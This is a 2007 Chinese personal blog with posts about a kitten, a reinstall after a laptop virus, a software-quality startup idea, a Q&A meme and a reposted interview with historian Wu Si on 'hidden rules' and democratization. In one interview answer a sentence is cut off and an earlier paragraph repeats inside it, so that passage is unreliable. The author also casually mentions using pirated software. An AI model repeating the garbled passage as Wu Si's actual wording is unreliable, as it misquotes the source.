这期间我把小屋收拾了一下,铺了一些地砖,还有廉价的地毯。也曾经试图抛弃“牛牛”,但那是一时的冲动,她给我的快乐是我坚持下去的理由。给她洗了澡,毛茸茸的她真是可爱,让我怎能不多亲几下。可烦起人来也很难受的。

夏天到了,天天被文字叮,由于“牛牛”,蚊帐还没法挂。

要读书,多读书,读好书,唯此才能让我的生活更加惬意与自如。

最近看张鸣的《历史的底稿》《历史的坏脾气》,嬉笑怒骂与八卦历史,中国人种种乎,辫子犹在矣。

下一阶段得看些严肃的读物了,准备从哈耶克入手。怎么还这么不务正业呢?哈哈,白天黑夜各有所属。

星期三, 五月 09, 2007

Be Profession

最近应该是入学以来最忙,压力最大的一段时间。不需要去解释,丫头说的对,我要Be Profession。什么是Profession呢?我希望是这样:

  • 明确自己的责任,不找理由推脱。
  • 做事有计划、有规则。
  • 善于合作,又要具有独立解决问题的能力。
  • 全力以赴,尽其所能。
  • 坦然接受失败,从自己身上找原因。

先写这么多,以后再补充。

家庭新成员--牛牛

官名:Raymond
昵称:牛牛 还有人叫她“奶牛”、“美女”、“MingMing”,只可惜她一个名字也没有记住。
性别:女
年龄:2个月
出身:不明,有小资产阶级情调。
政治面貌:只要给食便是娘。
婚否:否
社会成员关系:
187 她哥 和她住在一起,吃在一起。但只有她打我,没有我打她。
丫头 她姐 经常来看她,曾以后妈自居,会为了争宠而彼此嫉妒。
Cat A 亲爸 她出生前就不知道去哪里了,哎。
Cat B 亲妈 已经被楼管阿姨带走,大约在流浪。
Cat C 兄弟C 同上
Cat D 兄弟D 同上

玉照欣赏












星期一, 五月 07, 2007

很多复杂的QA

又是一个病毒式发展的小游戏,很高兴被小崔点名了。

游戏规则部分

一、被点到名字的要在自己的博客上写下答案,并且将这些题目传到其他人,还要到这些人的博客上留言通知对方“你被点名了”。

二、这些人要在博客上注明是在哪接到的题目,并且再将题目传给其他人,让游戏继续下去,不得回传,被点名的人将得到大家的祝福,并且所有美丽的愿望都会在不久以后得以实现。

###################

1.2006你最开心的事是什么?

06年似乎是很久以前的事了,毕业时大家几次聚会都很开心,来复旦后发现很多便宜书那也是相当开心。

2.2006年最难过的事是什么?

似乎已经被遗忘了。

3.2007最大的心愿是什么?

实现大部分短期心愿吧。

4.最大的愿望?

健康快乐的过每一天,同小崔。

5.如果现在可以让你随心所欲去旅行,你想去哪?

就是说有人给我掏钱了?那我去的地方多了,先去西欧,然后是美国,再之后考察非洲。

6.你最满意自己身体哪个部位?与别人初次见面你会先注意他(她)哪个部位?

男生就不回答这个问题了,不好意思。

7.失眠过吗?你用什么办法对抗失眠?

来上海第一天就失眠了,太热了。疲劳自己,通宵上网,不信睡不着。

8.会不会做饭?你希望你的伴侣(OR未来的伴侣)会做饭吗?

我会刷锅呀。

9.你最想做哪个动画片角色?为什么?

都忘记了,从没想过我和动画片的角色有什么关系。

10.在你心中我是怎么样一个人?

不拘小节,但心思细腻;活泼开朗,且为人热情。

11.如果可以重来,你最想改变的是什么?

早点锻炼身体,从小学习打架。

12.觉得自己是个自恋的人么?

没人的时候自我Google一下。

13.爱人爱到怎样的程度才算是超过爱自己呢?

嘴上说的和做的一样好的时候。

14. 你理想的伴侣应该具备什么样的品质?

能和我一直说话、一直玩就行。

15.谈谈你最近在听的音乐吧。

都是老歌,比如Alizee、GiGi,Secret Garden, 班得瑞等。

16.你会出于什么样的理由结婚? 或者出于什么样的理由单身?

本能。

17. 你是一个比较平稳的人还是可能作出一些出乎寻常举动的人?

行为平稳,思路出格。

18. 你计划什么时候结婚?(可以给个时间段^_^)

事业小成吧。


19. 想象一下,十年以后你最珍惜的事物可能会是什么,工作,家庭,朋友,闲暇,学习的机会?

爱情、事业、家庭、朋友、理想、抱负、原则、尊严,每一样都重要,不可能独立的存在。

ps:20哪里去了?

21. 你相信自己可以改变一切吗?

这怎么可能,改变自己都那么的难。

22. 你还生活在过去吗?

很少。

23. 爱情中最重要的是什么?

信任,交流。

24. 道是何物?德又是何物?

好诡异的问题,和主题无关。

25. 你对于永远的定义是什么?

对个人来说就是“永远”受众的有生之年,其他就没有永远的事。

26. 大四毕业之后你想干什么?最留念的人是谁?如果有同学会,你来吗?

不是我想干什么,而是我必须去干什么。除了我不想留念的人,都是我最留念的人。同学会我还得组织呢。

27. 你最欣赏我的哪点特质?最讨厌我的哪个方面?

参见问题10.

28. 06年度你心中最欣赏的人是谁?

欣赏是一种怎样的感情呢?敬佩?敬畏?喜爱?怀念?好复杂,我似乎很多时候关注的都是一些学者。那就写“朱学勤”吧。

29. 你最想定居的地方?

这个还得再找找,国内的环境似乎都不能用“最想”来形容。

31. 你觉得自己是偏理智还是偏感性?

属于傻傻的理智。

32. 2007年有什么打算?

“正经的学点东西,尽快找到方向。”同小崔。

33. 你觉得自己最大的缺点是什么?

“没有毅力。”再同小崔。

开始继续点名:丫头,艺文,晚花,朱曼。

星期日, 五月 06, 2007

心收不回来

五一假期早就结束了,可是心还在外面。即使坐在实验室里也是一样,等待着Deadline的靠近,然后再让自己急躁些。
不知什么时候病毒开始光顾我的本本,其实也许是“误炸”,没有Phenotype,但是Kaparsky不放过,我平时都不开病毒扫描程序,节省机器资源,昨天开开玩玩,竟把自己玩进去了,绝大部分的Exe都感染了Dzan.C病毒,没法子,删掉了病毒机器也就瘫痪了。连夜跑到实验室,借了Vista(^_^,总算有机会尝尝鲜,并继续盗版的行为)。我的硬盘空间太少了,大把大把删除了几G资料,算是能拼出个最低要求,然后重新分区,中间还给我来插曲,删掉的分区不能重建了,没法子只好求助Ubuntu,前前后后耽搁了大个半天,总算能用了。
晚上本想找几个纪录片看看,实验室代理还坏了,eMule也不能用,忍了。

牛牛(暂且叫她这个名字吧),长大了,每天总是吃不饱,吃不饱就来咬我,咬我我就打她,可她为什么就是不记打呢?

今天想起一个创业的主意,丫头说没市场。我们知道写程序是分不同层次的,有人的程序一个小时写完,而同时有人需要写一周;有人的程序需要跑好久才有结果,有人的程序快的不需要等待;有人的程序在几个人用的时候都正常,但实际场景的数百人使用就会崩溃;有人的程序越改Bug越多,有人的程序越改结构越清晰。其实我想谈的就是程序的质量问题。目前的解决办法是QA部分进行黑盒式的模块测试,由程序员进行白盒的自我审查,好的公司可能还有同行间的复审,但我觉得他们的关注点主要是Bug,对于QoS的关注就不够。我希望可以有一个公司,他可以参与到其他公司的开发过程中,或者开发结束之后(此时参与成本要高很多),他们只关注程序质量、性能、结构等非逻辑业务部分。优秀的程序员都有一种直觉来发现程序中的坏味道,但是优秀的程序员太少,初级的程序员太多,因此这种高质量程序设计其实是一种专业性非常强的工作。
初步的设想中,此工作应该可以完成以下几件事:

  • 分析程序瓶颈。系统集成商关注的是模块之间的配置,但我们关注的是程序的Source Code。由于现在硬件发展的速度远快于软件,那么如何发挥系统的性能,并不是简单添加几个服务器可以解决的,需要对特定的场景进行专门的设计,比如应付多核的场景,面对多线程不同的竞争与分配机制,实时机制,不同操作系统等。
  • 优化程序结构。这个理论已经比较完整,比如Refactor to Pattern,采用模式的方式(分析模式、设计模式、测试模式),进行重构,构建出可扩充、易修改的代码。
  • 培训。其实以上所有的工作都是一种教学,程序员需要充电,特别需要高级别的充电,这不是市面上普通的培训班所能做到的,我们不仅要教他们如何做,还有为什么这样做,而且都是基于他们自己的案例,他们自己的代码,这样的教学方式我认为收获会很大。
其他呢?balabala,肯定很多了。主要问题就是如何聚集这样一群优秀的人,优秀的团队是最珍贵的资源,创业的想法排第二,人才是第一。恩,这是个大问题,我再去想想。你觉得这样的公司有意思吗?

星期一, 四月 30, 2007

吴思访谈:民主化是遏制"潜规则"的根本出路

187注:没办法,我知道大家不喜欢看长文,我也是,但我整天就是看这个的,对这些东西最敏感,这篇访谈确实不错,不希望对此感兴趣的朋友错过。

吴思,自从他提炼出"潜规则"这个概念后,声望便如日中天,"潜规则"也一跃成为汉语里的常用词。仅仅凭借一个"潜规则",吴思便能把同时代的诸多历史学者远远地抛在身后。然而,发现"潜规则"后的吴思并没有停止对历史的追问,他接着提出了"血酬定律";现在,吴思又在力推一个叫"官家主义"的新概念。凭借着这些概念,吴思可以说"我说透了历史"。

从"潜规则"到"血酬定律"再到"官家主义",这些概念虽然名称各异,实际上却是一脉相承。但提出了"潜规则"的吴思,为什么以前不曾公开提出遏制"潜规则"的办法?4月19日下午,博客中国独家专访了吴思,在"官家主义"这个更为宏大的视角下,吴思分析了中国社会将来可能的三种走向,并"承认"潜规则这个词的流行有一定的负面作用。

博客中国吴思访谈核心提示:

  • 官逼民反是每个王朝兴衰的核心和关键
  • 说袁伟时是汉奸的人,倒有一点汉奸嫌疑
  • 民主化是遏制潜规则发挥作用的根本出路
  • 《潜规则》这本书对治标不利,对治本有利
  • 中国最坏的可能就是完成一个官家主义的标准循环

"官家主义"给我的震撼不亚于"潜规则"

【吴思的"官家主义",一方面推翻了中国历史两千年的"封建社会"定义,另一方面它为"潜规则"提供了一个解读体系,所以吴思自己说,官家主义带给他的冲击力和震撼不亚于潜规则。】

博客中国:您现在推广的"官家主义"这个名词,影响似乎没有"潜规则"那么大,感觉"官家主义"不能给人一种豁然开朗的感觉,你自己是否认可这一点?

吴思:我不这么看,我觉得潜规则离我们的生活和日常困惑更近,官家主义比较抽象,离我们生活的困惑比较远,在使用频率上官家主义肯定不如潜规则。但要说对我们世界和生活认识的帮助,官家主义和潜规则的深度和作用是一样的,都是找到一个确切概念,揭示我们生活和社会的一个被忽略的重要特征。

博客中国:可不可以说官家主义是以一个更宏观的视角,来解释中国社会的历史变迁和纷繁复杂的现象?

吴思:可以,我就是想说中国两千年的历史,从秦汉以来到民国再到现在,到底是个什么样的社会。已有的概念,比如说封建主义社会、皇权专制主义社会、官僚资本主义社会,我觉得这些概念都不够准确。在秦汉以前你可以说是封建主义社会,封建贵族说了算;秦汉以后封建贵主基本都退居二线了,第一线的主要是官员,这时候还说是封建主义社会,那怎么把"封建贵主说了算"和"废封建立郡县"之后的社会形态区分开?

皇权专制主义显然比封建主义更准确,但历史上常有"政令不出中南海"的现象,"中南海"之外通行的又是什么规则?这些规则又是谁制订的?

博客中国:用您的官家主义来解释中国历史,说中国的封建社会到秦朝时已经结束了,但历史教科书还是把秦汉以后称为封建社会,如果这个概念不纠正过来的话,会有什么危害?

吴思:对中国社会没有一个正确的认识。历史观和世界观念会有大毛病。比如我们说皇帝和官员位于上层建筑,地主和农民构成经济基础。上层建筑是为经济基础服务的,也就是说皇帝和官员为地主阶级的利益服务,实际上是这样吗?刚好相反。官家集团用"牧"字比喻官民关系,到底是牛羊为牧人服务,还是牧人为牛羊服务?理论框架颠倒了,就无法解释历史事实。我认为"封建主义"这个词偏离了中国的史实,深究起来漏洞百出。这种上层建筑和经济基础的理论框架本身,也不能准确解释中国历史各种各样的现象。不仅概念有问题,概念所依托的理论框架也有问题。

博客中国:对我们认识现实也没有帮助。

吴思:封建主义这个概念比起儒家的礼法观念来,它的认识加深了很多,它至少认识到社会上存在不同的阶级利益和阶级冲突。但主要阶级是什么?中国历史向来是官逼民反,很少有"地主逼民反",即使有地主逼民反,也是在小范围内很容易解决的,官家一出手,很容易就摆平了。如果不讨论天灾、人口和外族入侵等因素,只讲社会内部的各种关系,那么,官逼民反才是解释每个王朝兴衰的核心和关键。

再进一步说,官家集团既然这么重要,可以称之为一个阶级吗?阶级是在生产关系中定义的,官家属于上层建筑,却又极深地介入了各种经济活动,甚至直接组织生产,从《盐铁论》的时代就是如此。那么,阶级的概念,经济基础和上层建筑的概念,是否也要依据中国的史实重新审视呢?审视下来,一些概念修改了,理论框架是否也要修改呢?所谓牵一发而动全身,这是很大的动作,关系到我们的历史观和世界观。

博客中国:按照您的理解,原来我们说的从秦汉以来的封建社会就是官家主义社会。

吴思:官家在古汉语里有三层意思。第一层是皇帝,他说了算,制定王法;第二层是衙门,就是各个地方的利益和部门的利益,根据各自的部门利益,形成了各种法规;第三层是官员个人,围绕着他们形成了各种潜规则。这三个主体都是官方,他们既合作又有各自的利益,形成一个立法定规的动态结构,在整体上他们说了算。官家主义制度,就是各种各样的潜规则在其中潜滋暗长的基本结构。

博客中国:您研究历史特别注重概念的提炼,这是出于怎样一种考虑?

吴思:概念是对现实和各种现象事实的一种把握,概念错了,说明你没真正理解自己的研究对象及其相互关系,几个重要概念错下来,整个理论体系都会出问题。如果这一关都过不了,不能准确描述各种事实的话,各种各样的关系也就很难再深入地追究。

博客中国:您强调概念的创新吗?

吴思:我不强调概念的创新,我只追求准确。如果有了准确的概念就不要创造新的。当然你可以创造新的理论,新的观点,发现概念之间的新关系。我强调这种创新。没有新见解写那么多论文干什么?
博客中国:但在大众读者看来,可能会觉得官家主义缺乏创新,从而难以对它产生深刻的印象,而潜规则大家一听就记住了。

吴思:一说潜规则你就恍然大悟,是因为这个概念正好解释了你的困惑。如果让你困惑的是其他问题,比如你不断追究中国两千年以来,跟西方究竟有什么不同,跟西周又有什么不同,困惑不已的时候,忽然看到"官家主义"这个概念——对我来说,这个概念带来的冲击力和震撼不亚于潜规则。人们关注的东西不一样,思路被堵塞的地方不一样,造成心灵震撼的概念自然也不一样。这是因人而异的。

民主化是遏制潜规则发挥作用的根本出路

【虽然吴思在接受采访时表示,"潜规则这个词的流行有一定的负面作用",但潜规则无疑可说得上是一个里程碑式的发现——不过,在潜规则发现背后更深层次的问题是:潜规则要在怎样的体系和框架内才能发挥作用?怎样才能遏制潜规则发挥作用?吴思虽然没有在他的书中提出来过,但这次,他说了。】
博客中国:您在描述"当代中国到底是什么性质社会"的时候,用了"资本-官家主义"的说法,如果用您的概念解释美国,人家又是处于什么阶段?

吴思:我们现在用的概念是"资本主义",但美国是一个资本家说了算的国度吗?在芝加哥工人五一大罢工之后,美国的工人阶级登上了立法定规的舞台。现在美国工会的力量非常强大,工人阶级在很大程度上能够影响立法,这肯定是一个事实;另外美国自称中产阶级的群体控制了大量选票,也对于立法和各种重大决策有强大的影响,如果这些人,包括黑人和妇女都在一定程度上当家作主了,都可以用选票影响立法和决策了,就不能说美国是一个纯粹的资产阶级说了算的国家,所以资本主义这个概念并不准确。有一种"人民资本主义"的说法,虽然也有问题,但比"资本主义"确切得多。

博客中国:那么中国在"资本-官家主义"这个阶段之后,未来会怎样走?

吴思:我猜至少有三种可能,好一点是走向"资本家说了算",这可以叫资本主义。一谈欧洲历史,大家都同意从封建主义或专制制度发展到资本主义是历史的进步,这一点无须解释。更好的一种可能是:不仅资本家说了算,工会农会也能发挥作用——那时建立的社会近似民主社会主义,或者偏右一点,近似人民资本主义,肯定都比纯粹的资本主义好,更多的人可以说了算。还有一种可能是:官家继续膨胀,中央失去权威,被地方或条条块块架空,被贪官污吏掏空,百姓的利益受到更多的侵犯,最后官逼民反,完成一个官家主义的标准循环。这是最坏的可能。

博客中国:官家主义和潜规则是不是一脉相承的概念?

吴思:有密切关系。潜规则描述的是真实发生作用的一套规则体系,由于违背当时的法律和道德,必须以隐蔽的形式出现。它通常围绕着官员个人建立起来。但是潜规则怎样在一个更大的体系和框架内才能发挥作用?如果在一个民主框架之内,它受到各种上上下下的监督,受到老百姓的监督,它能发挥作用的范围就很小。但在官家主义体系内,人人都是代理人,一层一层代理上去,人人都不是主人,天下无主,潜规则发挥的作用就特别大,就成为官家主义制度中非常引人注目的一种现象。

博客中国:您刚才的话,我是这么理解的,我们中国如果要尽可能遏制潜规则的作用,方向也是一个民主化的过程。

吴思:我在追究潜规则的时候,通常会在潜规则发挥作用的背后,找到一种"合法伤害权"。比如说我害你,你怎么办,去上访?上访成功的可能性很小。比如你花了两千块钱但事情还未必得到解决,而我害你你只损失一千块钱。这时候潜规则就发挥了作用,大家都忍气吞声,而我就可以在这个范围内为所欲为。如果大家都当家作主了,比如说议员或代表是你选出来的,你可能只要打一个电话,根本不用花两千块钱上访,可能就会有一个可以影响官员命运的人出来替你打抱不平,一旦官员不老实,就可能丢乌纱帽。另外,如果报刊言论方面能全面放松,那么你的事只要有新闻价值就会有人登出来。

总之,我敲你一千块钱,你只要花两百块钱或者两个小时就能解决问题。这时候潜规则的空间能有多大?它绝不会有一千块钱的空间,最多两百块。从原来的一千压缩到两百,潜规则仍然可能存在,但你有了一种低成本的手段去对付"合法伤害权",这个手段概括起来说就是民主,就是人民有非常顺畅的监督政府的渠道,有各种便宜有效的反制手段,像管理仆人一样管理官员,真能在自己的国家里当家作主。
博客中国:民主化是消灭或遏制潜规则发挥作用的根本出路。

吴思:是这样。

博客中国:自从您提出"潜规则"这一概念之后,市场上出现了不少打着"潜规则"旗号的书籍。有人说这些书对行业"潜规则"起到了推波助澜的作用,您怎么看待这种现象?

吴思:任何一个行业的潜规则如果能被说透,对人们认识生活都是有价值和帮助的。当然,有些人可能取了一个潜规则的书名,实际上谈得很肤浅,他们可能在蒙读者,读者需要多翻几页辨别一下,别花冤枉钱买回假冒伪劣产品。

至于潜规则这个词流行起来会不会助长潜规则——比如说我是一个刚进入官场的官员,理想主义色彩比较浓,一旦来了各种各样的潜规则,我可能会抵制,不愿同流合污,就是说潜规则本来很顺畅,但在我这里碰到了障碍。但我读了《潜规则》这本书后发现,原来大家都这样,古来如此,这样我抵制的决心可能会减弱,即使在我堕落的时候,也会为自己找到辩护的理由。从这个意义说,《潜规则》是有负面作用的,它减少了潜规则行进过程中的阻力和抵抗,也减少了你内心的抵抗。

但任何事情都是有利有弊,很少有纯粹有利没有弊的事,也很少有纯粹有弊没有利的事。《潜规则》的弊现在很清楚,但好处呢?好处是你可以看到它的根子在哪,找到病根然后对症下药,比如遏制规则这个词流行起来会不会助长潜规则——比如说我是一个刚进入官场的官员,理想主义色彩比较浓,一旦来了各种各样的潜规则,我可能会抵制,不愿同流合污,就是说潜规则本来很顺畅,但在我这里碰到了障碍。但我读了《潜规则》这本书后发现,原来大家都这样,古来如此,这样我抵制的决心可能会减弱,即使在我堕落的时候,也会为自己找到辩护的理由。从这个意义说合法伤害权"的扩张,就要用民主的药来治。道德教育是治标的,制度创新才是治本的。《潜规则》对治标不利,对治本有利。

博客中国:您过去有没有书中或文章中明确地提出过遏制潜规则的办法?

吴思:没有,我只说潜规则是怎么来的。在描述中国历史的时候,你不能替它开药方。开出民主药方来恐怕也是错药。比如你说要在明朝建立民主制度,但农民跟外界打交道很少,他们没有监督政府的需求——经济学上所谓有支付能力的需求,当真为此花钱费工夫的需求;如果是一批企业家或者工会,就会迫切需要监督政府。在一个一盘散沙的小农社会里,你开出民主药方是莫名其妙的。

博客中国:那您有没有替现在和将来开药方?

吴思:我替现在开药方,那就意味着我自己跳出来鼓吹民主了,就表示我有一种非常强的倾向性。在讨论中国的现实问题和未来前途的时候,我愿意直接表达自己的倾向和主张,我确实也在鼓吹民主宪政。但从写历史的角度来说,非常强的倾向与公正客观的态度有抵触,你可以通过事实来描述你看到了一个什么样的结构,根子在哪,但你跳出来说要民主才能解决问题,那是"政治宣传"。我不喜欢在史实陈述中搀杂任何政治宣传。更何况你宣传的主张超越了历史提供的可能性。

博客中国:这个任务就交给那些潜规则的读者来完成。

吴思:我觉得他们自然会引出合乎逻辑的结论。另外还有一个原因是,本来就有人说我影射现实,我要直接跳出来说三道四,这书就更像是拿历史说事的现实批判和政治批判。这不仅降低了书的真实价值,长久价值,而且这种书出来就很困难,出来后会更快地被禁掉。

博客中国:那当初有困难吗?

吴思:当初人家说这书是谈历史的,出的时候不困难,但是禁得很利落,就是说影射现实,我更直截了当一点,那就不是影射现实而是攻击现实了。

博客中国:有人说您"研究历史的重点是中国古代,但矛头直指现代社会",您觉得是不是这样?

吴思:也不能说完全是指向现代,我现在的兴趣和眼光,肯定会影响我对历史的看法。我看什么关注什么,为什么把它拎出来细写而不写别的的,这都跟现实有关系。但要是纯粹为了解释现实而拿历史说事,这个也不完全这样,好多历史都有它自己的独特性,本身就很有意思,比如我计算明长城的投资和收益,主要是出于好奇。另外,某些东西古往今来一直存在,写古代和写当代其实并没多大差别。
博客中国:有一个词现在人们也提得比较多,就是"原罪",以前还曾经有过"民营企业家原罪"的讨论,您认为"潜规则"和"原罪"这两个概念有什么相似之处?

吴思:潜规则首先是一个规则,其次就是"潜",因为它违背当时的法规和正当的标准。像大包干时候,小岗村的农民按手印把地分了,悄悄地干这事,这事谁都不能外传,一旦有人为此进监狱,就把他的孩子养大成人,就是说他们悄悄地制定了一个规则。这是标准的潜规则,因为它跟当时的宪法相抵触,不仅违法而且犯罪。但是你怎么评价这个事呢?农民所对抗的那个法本身就有问题,是一个让中国人民吃苦受罪的法。

博客中国:就是说这些农民制定的潜规则是有积极作用的。

吴思:对,有积极作用,你可以说它是原罪,他们清楚地意识到这一点,而且准备坐牢。但是因为定罪的那套大规则和宪法本身就是错误的东西,你说谁有罪?现在说资本家有没有原罪,最初的乡镇企业、私营企业,都难免违法乱纪,甚至是违背宪法,因为中国是社会主义国家嘛,计划经济,公有制,消灭了私人雇工。私营企业属于剥削,乡镇企业也难免干扰破坏国家计划。

整个民营企业在宪法修改肯定他们的合法地位之前,都有违法嫌疑,但这是法律的问题,不是民营企业的问题。他们创造了大量财富,既没偷也没抢人家的东西,他们可能走后门收买官员,但这时候你要处在他们这个地位,会发现有时候你不得不干这个事。如果他们公事公办,你就死定了。这种原罪是被逼出来的,是一个更不合理的官家主义体系造成的一个结果,与其称之为原罪,不如称其为胁从犯罪,有的甚至可以算正当防卫。当然一些人防卫过当,在可以不犯罪的时候仍然犯罪,官商勾结共同犯罪,因为利益大于风险,这时候,在这个分寸上,你说他有原罪,更准确地说是持续犯罪,这点我承认。但在这个分寸上讨论问题,我们最好说这是一部分人的问题,而且有犯罪低风险高收益的体制的纵容。统称为一个阶级的原罪,未免过于简单粗暴了。

博客中国:潜规则算不算是一个中国特色?

吴思:我觉得不是,你看1789年法国大革命之前的历史,官员也是敲诈勒索成风。但英国不是,英国始终不是一个官家主义社会,贵族和国王相互牵制,而法国在1789年之前跟中国没多大差别。再看俄国,你看赫尔岑写的《往事与随想》,把里面的地名人名换了,你会觉得这就是中国,就是晚明或晚清,甚至比明清更加野蛮。

说袁伟时是汉奸的人倒有一点汉奸嫌疑

【历史热是这两年的一个现象,那么形成历史热的原因到底何在?吴思说"谈现实谈到五分就到了边界,而谈历史能更充分地表达"。然而,并非所有的谈历史都能获得充分的表达,比如今年全国两会期间引起过广泛关注的"惩治汉奸言论"提案,在历史研究者听来可能就会不太舒服。"遏制自由研究表达的结果,就是我们这个民族不断地重复犯错误",吴思对此表示担忧。】

博客中国:这几年"历史热"成了一个现象。您平时看历史题材的电视剧吗?

吴思:我从不看连续剧。太长了,我舍不得花那么多时间。

博客中国:我不知道您有没有注意过互联网上的历史热:"网络历史热"主要以建国初期、抗战和国共内战时的历史事件为讨论对象,和学术界的历史热不太一样。

吴思:我知道网络上的历史热,包括卖书、电视剧历史热,你想不看见都不行。但他们在说些什么讨论什么我就不太清楚。

博客中国:现在研究明朝历史的相对多一些,包括您在内也是研究明朝历史,这是不是意味着明朝的历史和当代社会有更多相似的地方?

吴思:我研究明朝是有这样的想法,不知道别人怎么想。你要研究清朝,会发现清朝跟现在有一个巨大的不同——清朝由一个异族统治,有部族统治因素,而现在没有。研究清朝要把这个问题处理好,就会增加这么一个因素,而明朝没有这个因素。另外清朝的体制基本是承袭明朝。所以明朝既看得明白又省事。还有一个重要原因是,清朝的史料多得没完没了,任何时候别人都可能翻出一个档案来,说你说得不对,我这里有新发现的事实。

博客中国:今年两会期间,有个中国社科院的学术委员建议人大立法"惩治汉奸言论"。如果哪一天真有这么一部法律通过,您觉得对一些研究历史的人来说,会不会是一个灾难?

吴思:他怎么定义汉奸?

博客中国:比如说袁伟时,在他眼里可能就是一个汉奸,理由是袁伟时为侵略者招魂。

吴思:这么过分?我怎么觉得说袁伟时是汉奸的人,倒有一点汉奸嫌疑。袁伟时在讨论义和团的时候中强调了我们自身的问题,你可以不同意袁伟时的观点,但不能因为他强调自身过失、对外方的罪恶一笔带过就说人家是汉奸,要是这样,大家踏踏实实地研究找问题的根子在哪,就会受到重大的遏制。我们遏制自由研究表达的结果会是什么?结果就是我们这个民族不断地重复错误,老百姓跟着遭殃,整个民族也跟着倒霉。所以我觉得这种主张倒有一点汉奸嫌疑。——这么说有换位体验的意思,己所不欲勿施于人,往人脑袋上扣屎盆子可不是好玩的比赛这种比赛很有破坏性,毫无建设性,我们以前赛过很久,越赛大家越没出息。

再说,强调我们自身的过失,"我们"又是谁?是满清统治集团吗?为他们说话算不算汉奸?吴三桂帮助满清,当年就被称为汉奸。你替满清统治集团说话,或者替吴三桂说话,是不是也算汉奸言论呢?这些标准太难掌握了。其实,客观地评价吴三桂,他是贡献大还是害处大?我们现在是沾他的光了还是受他的害了?这些问题都不容易说清楚。

博客中国:那您是怎么看的?

吴思:看你强调什么。强调道德?谁的道德?领土?谁的领土?进一步说,中国的大一统好还是欧洲的多国竞争好?对什么时候的什么人好?再进一步说,现在认为好将来也会认为好吗?每走一步都会遇到引起争论的问题。我不赞成把道德判断尤其是现在的道德判断加到历史人物身上。对当时的道德判断,不妨做出客观描述,别自己跳进去搀和。

博客中国:就是说假如吴三桂真的是汉奸,我要替他辩护的话也不能说我是汉奸,否则律师就没法做了,因为律师经常替犯罪的人辩护。

吴思:对,不要轻易因为别人说了什么话就说人家是汉奸,还要惩办治罪,这是一种危险的倾向,而且最后对中华民族是不利的。

博客中国:现在历史热的背后,是因为人们有复古倾向呢,还是因为现实的原因,使得大家避开谈现实而从历史里面找感触?

吴思:对我来说,历史本身是有趣的,历史能大大扩展自己的眼界。另外,你谈现实,谈到五分就到了边界,再说就"犯规"了,谈历史谈到九分还不至于犯规,你能更充分地表达。

博客中国:您觉得自己谈到了几分?

吴思:看在什么媒体上说。在网络上,在我想说的范围内,我能说到九分以上,基本上要害都能说出来,要说现实,特别是在纸媒体上,我说到四五分就要小心了。

博客中国:您平时关注时政或社会现实问题吗?

吴思:大事会关注。

博客中国:在您眼里什么样的事才算大事?

吴思:一切与制度变迁有关的事,都是大事,比如说崔英杰案件,城管的常规做法和小商贩的权利发生冲突,出了人命,利益划分的边界是否合理引起争论,可能还要发生边界调整,我看就是大事。孙志刚案件,一个有人喜欢有人害怕的制度取消了,也是大事;还有农业税取消了,这些都是重大的制度变迁;农村中小学真的要开始义务教育了,也是个大事。这些东西将强烈影响中国的城市化进程,中国的面貌将因此发生重大变化。

博客中国:您现在作为一个已经十分著名的历史学者,有没有什么话要送给您的同行,或者那些年轻的对历史感兴趣的研究者?

吴思:同行水平都很高,我没什么可跟他们说的(笑)。对年轻的历史爱好者可以讲一点经验教训:首先不要让别人牵着鼻子走,历史究竟是什么样的,你去看最原始的史料,读读古人的文章,比如读读《史记》中的传记、读读小说,《三言两拍》、《儒林外史》……读读古人的诗、文、信件、奏折,这样一来,你就会对当时的社会和人们的心态,有第一手的感觉,好象在当时活过一遭。有了基本感觉,才好判断别人的叙述是否对头,感觉不对头才好追究哪里出了问题。

博客中国:您鼓励他们像您这样去提炼概念吗?

吴思:如果能提炼出好概念,对于提升中国的理论思维水平是件大好事,一个民族没有理论思维挺可怜的,给人的感觉是整体层次上不去。当然我觉得这是挺难的一件事。

博客中国:做到您这一步非常难。

吴思:还要担风险。当你制造概念的时候,你可能会提高未来交流的效率,但你首先却制造了语言交流中的障碍,大家不知道这个词是什么意思,认为这家伙又像鲁迅嘲笑的那样生造别人不懂的词。我经常有这种担心——我是不是在干这种讨人厌的事?所以我也是在迫不得已、实在找不到一个合适的词表达清楚的时候,才去生造概念,生造的时候也尽量借用前人的基础。

博客中国:那您对官家主义这个概念有这种担心吗

吴思:没有。首先"官家"是古汉语里一个长期存在的词,不难懂。其次,官家主义这个概念来自对现有概念的强烈不满——我认为这是广泛存在的不满,不管封建主义、资本主义还是皇权专制主义,在描述中国历史和现状的时候都不够准确,而用官家主义就准确得多。我目前见到的所有概念,都没"官家主义"好,你要说不好,请指出一个更准确的,我很愿意用更准确的。最后,概念是有生命的,生死和发育要经历众人的淘汰和选择,我的心态是:尽人事,听天命。

五一节目预告

最近觉得写预告要比发帖子容易,就先从预告开始吧。
五一期间这里会发表几篇帖子,围绕《武安地区农村婚礼纪实》展开。我和丫头主笔,目前还在收集资料部分,准备形成“战略部署”“短期预报”“战术装备”“战斗进行中”“评功论赏”等几篇。这是我个人的计划,不知道丫头是否支持,还得继续努力。